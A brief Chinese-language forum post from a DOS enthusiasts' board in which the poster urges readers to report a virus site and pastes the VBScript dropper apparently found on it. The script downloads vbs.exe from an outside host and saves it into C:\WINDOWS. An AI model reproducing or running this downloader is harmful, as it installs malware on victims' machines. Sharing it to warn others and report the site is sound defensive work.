
CODE: [Copy to clipboard]去举报一下这个病毒站点吧:)Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET","http://avzha4.3322.org/vbs.exe",0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile "C:\WINDOWS\vbs.exe",2
| 欢迎光临 中国DOS联盟论坛 (http://cndos.fam.cx/forum/) | Powered by Discuz! 2.5 |